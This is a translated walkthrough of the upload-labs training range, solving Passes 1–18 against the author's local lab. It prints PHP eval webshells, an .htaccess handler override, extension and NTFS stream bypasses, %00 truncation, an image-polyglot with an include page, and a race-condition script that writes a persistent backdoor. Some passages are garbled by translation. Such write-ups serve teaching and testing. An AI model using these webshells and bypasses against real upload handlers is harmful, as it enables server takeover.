Upload-labs-master Latest Pass01-Pass19——Detailed Write up

Upload-labs

Pass-01

JS front-end bypass

Upload a one-sentence Trojan with the content:

<?php
@eval($_REQUEST["cmd"]);
?>

Then upload shell.php

image-20230802134209247

You can tell from the pop-up window that yes JS前端验证, as we all know, front-end verification does not exist.

image-20230802134229947

It can be seen from the form that he used onsubmitthis function to trigger the mouse click event.

image-20230802134701284

After the form is submitted, this function is called return checkfileto check the uploaded file.

method one:

Create a new html file, copy the source code of the page, modify and delete it and disable thejs脚本

image-20230802135936492

Talk about this function and its content deletion

image-20230802140029763

Then add it in the deleted onsubmit="return checkFile()"place, which is the submission address of the first level.

action="http://127.0.0.1/upload-labs/Pass-01/index.php"

image-20230802140154772

Method Two:

Modify front-end code directly in the browser

return checkFile()That is to say, delete it directly in this interface.

image-20230802134701284

delete

image-20230802140906534

However, there is a risk in this approach. It may contain some normal js. If the normal js is deleted, it will affect the normal upload operation.

Method three:

burp packet capture modification

Before uploading, upload a photo in any image format. For example, 1.pnguse bp to intercept, cmd.jpgchange filename= to cmd.phpand replace the content of the image with a sentence to bypass the Trojan.

image-20230802141905426

Then go to visit cmd.phpand upload successfully

image-20230802142119358

You can judge the path here by yourself. I changed the upload path of the shooting range into the current folder, so the path is

http://127.0.0.1/upload-labs/Pass-01/cmd.php

The default path of the shooting range is../upload

Pass-02

MIME bypass

Uploading php files directly will be detected

image-20230802143122853

It can be seen from the source code that the backend MIMEverifies the type.

image-20230802143217757

Use burp to capture packets and modify themMIME类型

image-20230802143708895

Modify to image/jpeg, upload successfully

image-20230802143749089

Pass-03

Special parsing suffix bypass

File upload shell.phpfailed due to backend verification

image-20230802144244104

It can be seen from the code that it is blacklist filtering

image-20230802144327061

Only these specific suffixes are filtered out, then we can bypass the filtering through php aliases

PHP has been developed for so long. There is more than just this file name. We can use other PHP aliases to bypass: .php3 .php4 .php5 .phtml .phtm .phps .phpt .php345 (but there are prerequisites here) ) It means that the configuration of the other party's server has configured parsing settings for these other PHP file names. Even if you upload it, the parsing will still fail.

So you can upload .phtmlthe php file with the suffix

image-20230802144701437

You can see that the upload was successful

image-20230802144847716

Pass-04

.htaccess parsing file bypass

Basically, all suffix names related to php are filtered here, but there is no .htaccessverification, so we can .htaccessbypass it with

.htaccess function introduction: The htaccess file is a configuration file in the Apache server. This file can change the configuration of all files in this directory without obtaining root permissions. Then it means that as long as you create a .htaccess file, write the PHP configuration, and upload it to the server, then the configuration of all files in the directory where the .htaccess is located will be modified to be converted into the PHP parsing format. (.htaccess files are only valid for Apache servers).

First create a .htaccessfile and write

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

Then upload the file

image-20230802150500826

Change the one-sentence Trojan file to jpgthe format and then upload it

image-20230802150643700

Access cmd.jpgto display phpinfo information

Pass-05

The source code is as follows

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists($UPLOAD_ADDR)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
    
    
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    
    
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
    
    
            $msg = '此文件不允许上传';
        }
    } else {
    
    
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

Comparing this with the previous source code, we can find that no strtolower()function is used, that is, the suffixes are converted to lowercase, then we can use uppercase and lowercase to bypass

Upload first shell.php, then use burp to capture the packet, and change the suffix toPHP

image-20230802165024305

Visit shell.phpgetshell

image-20230802165219062

Pass-06

Space bypass

The source code is as follows

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists($UPLOAD_ADDR)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
    
    
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    
    
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
    
    
            $msg = '此文件不允许上传';
        }
    } else {
    
    
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

It can be seen from the source code that the use of spaces in file name suffixes is not trim()filtered.

trim(): remove the white space on the left and right sides

With the help of the characteristics of the Windows system, the spaces in the file name will be treated as empty when the file is finally saved, and the following spaces will be automatically deleted when saving.

So we can upload the file and add a space at the end of the file, that is

image-20230802170252182

Upload successful

Pass-07

Bypass

The source code is as follows

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists($UPLOAD_ADDR)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
    
    
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    
    
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
    
    
            $msg = '此文件不允许上传';
        }
    } else {
    
    
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

It can be seen from the source code that the dots at the end of the file name are not deldotfiltered and the dots at the end are not deleted. Therefore, you can use the characteristics of Windows to add the suffix to the file name .and then upload it. Windows will automatically remove the following dots. Then save the file, you can use this feature to upload the file

Upload the php file and add a to the file suffix.

image-20230802170449125

Upload successful

Pass-08

The source code is as follows

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists($UPLOAD_ADDR)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
    
    
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    
    
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
    
    
            $msg = '此文件不允许上传';
        }
    } else {
    
    
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

str_ireplace()Through code audit, it can be found that there is no filtering used here ::$DATAand no replacement with empty

::$DATA

:: DATA This is a feature of the Windows operating system when processing files. It is a file stream. If there is this mark after the file name: : DATA This is a feature of the Windows operating system when processing files. It is a file stream. If the file name is followed by this mark::D A T A This is a feature of the Windows operating system when processing files. It is a file stream. If there is this mark after the file name:: DATA, and no filtering is done, Windows will save the file directly without checking. The purpose of using it is not to check the suffix name.

So we only need to add::$DATA after the file name to successfully bypass

Upload a php file and add after the file::$DATA

image-20230802171708842

Upload successful

Pass-09

Logic bypass

The source code is as follows

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists($UPLOAD_ADDR)) {
    
    
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
    
    
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
    
    
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
    
    
            $msg = '此文件不允许上传';
        }
    } else {
    
    
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

You can see that basically all .htaccessincluded files have been filtered, and strtolower()functions have also been added, so let’s change the idea

bypass ideas

$file_name = deldot($file_name);//删除文件名末尾的点

The point is here. It can be seen from the code that all filtering is one-time filtering. The dot at the end is deleted here. It is only deleted once.

Then we can use . .to bypass. deldot()The function of this function is to delete the end point. When the end point is checked, it will be deleted and then continue to detect the previous point. However, the deldot function will stop when it encounters a space. It is equivalent to terminating the operation when a space is encountered. So we just need to use dot+space+dot to bypass when uploading files.

In this way, when checking our file, it was originally not in the blacklist, so it can shell.php. .be shell.php.uploaded. Taking advantage of the system's features, the system automatically removed shell.php.the last one when saving the file ., and finally it becameshell.php

Next upload

Change the file name suffix to.php. .

image-20230802172015174

After visiting shell.php, the upload was successful

Pass-10

Double write bypass

hint:

This pass will remove .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1 from the file name. |.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|. jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr| .sWf|.swf|.htaccess characters!

The source code is as follows:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    
    
    if (file_exists($UPLOAD_ADDR)) {
    
    
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
    
    
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            $is_upload = true;
        }
    } else {
    
    
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

The key point here is that str_ireplace($deny_ext,"", $file_name)this function replaces all the suffixes that appear in the blacklist in the file name with nothing. If we upload a file shell.phpand it becomes filtered shell, there will be no suffix that cannot be parsed, but it uses a one-time Filtering, for example, if we upload shell.phpphp, then after being filtered once, the file we originally uploaded will becomeshell.php

Upload files, capture packets and modify them with burp

image-20230802173436131

Upload successful, getshell

Note, do not change the suffix here to phpphp, otherwise it will still be deleted and becomeshell

Pass-11

GET %00 truncated

hint:

The upload path of this pass is controllable!

The source code is as follows

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
    
    
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        }
        else{
    
    
            $msg = '上传失败!';
        }
    }
    else{
    
    
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

code analysis

  1. $ext_arr = array('jpg','png','gif');Here we use an array to make a whitelist

  2. $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);The suffix of the intercepted file name is intercepted starting from the position of the dot, and intercepted using a circular method instead of one-time ($_FILES['upload_file']['name'])verification.

  3. if(in_array($file_ext,$ext_arr))Determine whether the uploaded file name suffix is ​​in the whitelist, and if so, enter the loop.

  4. $temp_file = $_FILES['upload_file']['tmp_name'];Enter the loop, place the uploaded file in a temporary directory, and generate a temporary file name

5. $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;(This step is the key) Use $_GET['save_path']the method to accept a custom path and randomly generate a file name from an array of 10 and 99, and concatenate it with the suffix name intercepted before $file_Ext.

6. Finally move the temporary file (move_uploaded_file($temp_file,$img_path))saved earlier to$temp_file$img_path

Here is %00截断the method

Principle: %00截断The vulnerability of PHP is exploited. The basis of PHP is implemented in C language. In C language, it is regarded %00as the end symbol, so the characteristics of C are based on it. In the PHP<5.3.4version of , I encountered move_uploaded_filethis function when storing files. When, this function reads 00the character with a hex value of

Bypass ideas:

The whitelist is used first. It can be seen from the code that he first verifies the suffix of the uploaded file name.

So $_FILES['upload_file']['name']when we upload it in the first step, the file name must be suffixed in .jpg.png.gifthe format. After bypassing the verification of the suffix name, it enters the loop. The last important point is that the file he saves $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;is determined by the upload path and the original parameters $_GET['save_path'],save_path=../upload/. Then the upload path is controllable. We will use it %00截断to change the uploaded path to the file name. Finally, use move_uploade_filethis function to exert the %00 truncation function

%00 can only be used for PHP versions lower than 5.3. Here we need to switch the version of phpstudy and turn off magic_quotes_gpc. Take phpstudy as an example. Other options menu—php extensions and settings—parameter switch settings—turn off magic_quotes_gpc.

Since the php5.2.x version here has been failing to download, let me demonstrate the idea.

First upload a jpgfile whose content is a one-sentence Trojan

image-20230803163348107

Add it to the upload path 1.php%00, the php name here does not matter

image-20230803163426032

Then after the upload is successful, the following pictures will be truncated, and then access 1.php to get the webshell

Pass-12

POST %00 truncated

hint

The upload path of this pass is controllable!

The source code is as follows:

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
    
    
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        }
        else{
    
    
            $msg = "上传失败";
        }
    }
    else{
    
    
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

This level is the same as level 12, but the method of receiving the path has changed from GET to POST, so we can use burp to capture the packet and then modify the value in the data packet. But one thing to note is that truncation is used in GET requests %00, but url encoding is required in POST.

Upload .jpgthe file and then capture the packet with burp

image-20230803163930472

Then modify the post path above and use%00截断

image-20230803164028063

But pay attention here, the %00 here must be decoded first

image-20230803164322219

Then access 1.phpgetshell

Pass-13

File header detection

hint

This pass checks the first 2 bytes of the icon content!

The source code is as follows

function getReailFileType($filename){
    
    
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){
    
          
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
    
    
        $msg = "文件未知,上传失败!";
    }else{
    
    
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        }
        else{
    
    
            $msg = "上传失败";
        }
    }
}

This level will read and determine the first two bytes of the uploaded file to determine the uploaded file type, and the backend will rename the uploaded file based on the determined file type.

We found that the first two bytes of the file are detected here, and getReailFileType()the function will detect the file header. If the final result is not unknow, the image can be uploaded. Because the program only detects the first two bytes, we can bypass the detection by inserting a Trojan sentence at the end of the hexadecimal number of a normal picture through the picture horse method.

Use 图片马 + 文件包含bypass

Additional knowledge:

  1. Png picture files include 8 bytes: 89 50 4E 47 0D 0A 1A 0A. That is .PNG.
  2. Jpg image files include 2 bytes: FF D8.
  3. Gif image files include 6 bytes: 47 49 46 38 39|37 61. That is GIF89(7)a.
  4. Bmp picture files consist of 2 bytes: 42 4D. That is BM.

So first we need to make a picture horse, which 111.jpgis a normal picture and shell.phpa sentence Trojan. Generate a new picture shell.jpgand implement it through the following command

copy 111.jpg/b+shell.php shell.jpg

then uploadshell.jpg

image-20230803165521497

After the upload is successful, right-click to copy the image link and get the image path.

upload-labs/Pass-13/7720230803165514.jpg

Um, I looked at the shooting range and there were files containing files before, but they don’t exist now, so create one yourself.

/upload-labsCreate a file under the path with include.phpthe following content:

<?php
    $file=$_GET['file'];
    include($file)
?>

Then construct the payload:

http://127.0.0.1/upload-labs/include.php?file=/Pass-13/7720230803165514.jpg

image-20230803170748305

getshell

Pass-14

File header detection

hint

This pass uses getimagesize() to check whether it is an image file!

The source code is as follows:

function isImage($filename){
    
    
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
    
    
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)){
    
    
            return $ext;
        }else{
    
    
            return false;
        }
    }else{
    
    
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
    
    
        $msg = "文件未知,上传失败!";
    }else{
    
    
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        }
        else{
    
    
            $msg = "上传失败";
        }
    }
}

Function analysis:

getimagesize(): Used to obtain the image size and related information. It returns an array if successful. If it fails, it returns FALSE and generates an E_WARNING level error message. Will determine the size of any GIF, JPG, PNG, SWF, SWC, PSD, TIFF, BMP, IFF, JP2, JPX, JB2, JPC, XBM or WBMP image file and return the image's dimensions along with the file type and image height and width.

image_type_to_extension(): Returns the corresponding suffix name according to the specified image type.

stripos(): Find the first occurrence of a string in another string (case-insensitive).

Here, the entire file will be tested to determine whether it is an image file, and the image format can only be .jpeg|.png|.gif. Therefore this level can still be bypassed using the picture horse method. The method of making a picture horse is the same as the previous level, so I won’t go into details.

copy 111.png/b+shell.php shell.png

Then png文件upload, copy the image link

/Pass-14/3020230803171706.png

Use the previously created include.phpfile inclusion, payload:

http://127.0.0.1/upload-labs/include.php?file=/Pass-14/3020230803171706.png

image-20230803171801951

Pass-15

File header detection

hint:

This pass uses exif_imagetype() to check whether it is an image file!

The source code is as follows

function isImage($filename){
    
    
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
    
    
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    
    
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
    
    
        $msg = "文件未知,上传失败!";
    }else{
    
    
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
    
    
            $is_upload = true;
        }
        else{
    
    
            $msg = "上传失败";
        }
    }
}

Additional knowledge: exif_imagetype() reads the first byte of an image and checks its suffix.
The return value is the same as the index 2 returned by the getimage() function, but is much faster than getimage. The module needs to be enabled php_exif.

Basically the same as the previous two questions, upload 111.pngand then copy the image link

/Pass-15/9120230803172111.png

Utilize files containing getshell

http://127.0.0.1/upload-labs/include.php?file=/Pass-15/9120230803172111.png

image-20230803172158425

Pass-16

secondary rendering

hint

This pass re-renders the image!

The source code is as follows:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    
    
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=$UPLOAD_ADDR.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
    
    
        if(move_uploaded_file($tmpname,$target_path))
        {
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
    
    
                $msg = "该文件不是jpg格式的图片!";
            }else{
    
    
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
    
    
            $msg = "上传失败!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
    
    
        if(move_uploaded_file($tmpname,$target_path))
        {
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
    
    
                $msg = "该文件不是png格式的图片!";
            }else{
    
    
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagepng($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;               
            }
        }
        else
        {
    
    
            $msg = "上传失败!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
    
    
        if(move_uploaded_file($tmpname,$target_path))
        {
    
    
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
    
    
                $msg = "该文件不是gif格式的图片!";
            }else{
    
    
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagegif($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
    
    
            $msg = "上传失败!";
        }
    }else{
    
    
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

In this level, the uploaded image was judged 后缀名, content-type, and used to imagecreatefromgifdetermine whether it was gifan image. Finally, a secondary rendering was performed. However, the back-end secondary rendering needs to find the Hex places that have not changed in the rendered image. Add a sentence Then, execute a sentence through the file inclusion vulnerability, and use Ant Sword to connect

Supplementary knowledge:
Secondary rendering: backend rewrites file content

basename(path[,suffix]), if suffix is ​​not specified, the suffix name will be returned, if suffix is ​​specified, the specified suffix name will not be returned.

The strrchr(string,char) function finds the last occurrence of a string in another string and returns all characters from that position to the end of the string.

imagecreatefromgif(): Create a canvas and load an image from a GIF file or URL address

imagecreatefromjpeg(): Create a canvas and load an image from a JPEG file or URL address

imagecreatefrompng(): Create a canvas and load an image from a PNG file or URL address

The level prompts secondary rendering. The content of the secondary rendered image will change. For example: we insert a sentence Trojan at the bottom of a gif image.

22.5.png

After uploading the file, a new file was generated in the directory. Use 010 to view the file and found that the Trojan horse has disappeared.

22.6.png

But there is a solution. We looked at the gif before uploading and the gif after uploading, and found that some of the content has not changed.

img

Suppose we insert a Trojan in this part, then we can bypass the Trojan that disappears after being rendered.

In order to facilitate testing, a GIF image provided by a big guy on the Internet is provided.

Secondary rendering of file upload (special image).zip

We will open the downloaded file with 010Editor010, then use the comparison function to find the unchanged place and insert a sentence Trojan

image-20230803174114444

Construct payload:

http://127.0.0.1/upload-labs/include.php?file=e:\phpstudy_pro\WWW\upload-labs\Pass-1614307.gif

getshell

image-20230803174143134

Pass-17

Conditional competition

The source code is as follows:

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    
    
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = $UPLOAD_ADDR . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
    
    
        if(in_array($file_ext,$ext_arr)){
    
    
             $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             unlink($upload_file);
             $is_upload = true;
        }else{
    
    
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
    
    
        $msg = '上传失败!';
    }
}

When judging our file here, we first upload the file to the directory if(move_uploaded_file($temp_file, $upload_file)). If the file matches the file suffix, rename it and save it. Otherwise, unlink()the function will delete the file in the directory.

It seems that if we still upload a picture horse, the website still has file inclusion vulnerabilities and we can still exploit it. But if no file contains a vulnerability, we can only upload a php Trojan to parse and run.

Therefore, we try to access the file when it has not been deleted. Here is 条件竞争the method used to achieve it:

We can use burp multi-threading to send packets, and then continue to access ours in the browser webshell, and the access will be successful in an instant.

First, upload a one-sentence Trojan, then use burp to capture the packet, move it into Intruderthe module, change the mime to the image type, and remove all marking points

For better effect here, change the one-sentence Trojan to

<?php fputs(fopen('Leaf.php','w'),'<?php @eval($_POST["Leaf"])?>');?>

Keep replaying this php file through burp, and then keep accessing the file we uploaded. There will always be a moment when it can be accessed before it can be deleted. Once the file is accessed, it will be A one-sentence Trojan is generated in the current directory Leaf.php. This is also a good idea during normal penetration testing. Because simply accessing the attached phpinfo()files has no effect. Once deleted it is still unavailable. However, the server generated by this method Leaf.phpwill not be deleted, and we can connect it through Ant Sword.

image-20230803174855485

Then configurePayload

image-20230803174951219

Then we write a python script to continuously access the PHP file we uploaded (that is, shell.phpthe file shown above)

import requests
url = "http://127.0.0.1/upload-labs/Pass-17/shell.php" #文件上传路径
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

Once the script is ready, you can let burp start the attack and run the script at the same time

When the script echoes OK, it means that shell.phpit has been executed successfully.

image-20230803175744303

Created successfullyLeaf.php

image-20230803175835359

successful getshell

image-20230803180013451

Pass-18

Conditional competition

The source code is as follows:

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    
    
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload($UPLOAD_ADDR);
    switch ($status_code) {
    
    
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
